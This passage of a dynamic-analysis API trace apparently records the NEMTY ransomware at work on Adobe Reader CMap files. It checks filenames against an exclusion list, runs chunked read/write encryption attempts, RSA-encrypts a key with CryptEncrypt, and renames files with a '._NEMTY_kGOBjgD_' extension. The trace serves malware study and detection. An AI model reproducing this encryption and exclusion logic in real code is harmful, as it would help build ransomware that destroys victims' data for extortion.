hHeap=0x4f90000) returned 1 [0211.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0211.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0211.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0211.572] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-utf16-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.572] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0211.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0211.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.592] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.649] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.681] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.681] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0211.681] CloseHandle (hObject=0xffffffff) returned 0 [0211.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0211.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0211.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0211.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0211.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0211.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0211.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.681] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-utf16-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-utf16-h._nemty_kgobjgd_")) returned 0 [0211.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0211.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0211.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0211.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0211.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0211.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0211.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0211.682] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc33, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UTF16-V", cAlternateFileName="UNICNS~3")) returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2=".") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="..") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="...") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="windows") returned -1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="$RECYCLE.BIN") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="rsa") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="NTDETECT.COM") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="ntldr") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="MSDOS.SYS") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="IO.SYS") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="boot.ini") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="boot.ini") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="AUTOEXEC.BAT") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="ntuser.dat") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="desktop.ini") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="CONFIG.SYS") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="RECYCLER") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="BOOTSECT.BAK") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="bootmgr") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="programdata") returned 1 [0211.682] lstrcmpiW (lpString1="UniCNS-UTF16-V", lpString2="appdata") returned 1 [0211.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UTF16-V", lpUsedDefaultChar=0x0) returned 14 [0211.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UTF16-V", lpUsedDefaultChar=0x0) returned 14 [0211.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UTF16-V", lpUsedDefaultChar=0x0) returned 14 [0211.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0211.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniCNS-UTF16-V", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniCNS-UTF16-V", lpUsedDefaultChar=0x0) returned 14 [0211.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0211.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0211.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0211.683] Sleep (dwMilliseconds=0x5) [0211.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31d08610, dwHighDateTime=0x1d561e8)) [0211.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31d08610, dwHighDateTime=0x1d561e8)) [0211.690] GetLastError () returned 0x5 [0211.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0211.690] GetLastError () returned 0x5 [0211.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0211.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.690] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0211.690] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0211.690] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0211.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0211.690] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="C92TCSTDHR2rCqq7JaFrg2yqSe38CJzwyHqlLblRRXyH03id1cKcx/iRm3Gzf5pk\r\nlEcUcve30jh9MnCnIfbvr0+BcjJEan2Oin48WqdHX9M4VG7HqaCQNC9msjF9GHHc\r\nKu43Xe9e8/r+LVk9WpaTVMJnjXYt6w5o6x9hI8sd5CisRgdLFiMNvCNQye4u9lZJ\r\n2b6zG88/qTNWmzAYBSCkfRtV09WATWuJqRlbDHO6ofl1iO8n9W/9SjrUXkw1sOP3\r\nde9CBBP00vEIn2Y1Q5bcHGqje0i3Bs8UGITbSpkUp8RpAJLTTVqdb/9pblAyojWl\r\na2ZNgqZlaThjXeQlIJZSNA==\r\n", pcchString=0x653e91c) returned 1 [0211.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0211.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0211.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0211.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0211.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0211.691] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-utf16-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.691] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0211.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0211.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.710] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.710] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.719] SetFilePointer (in: 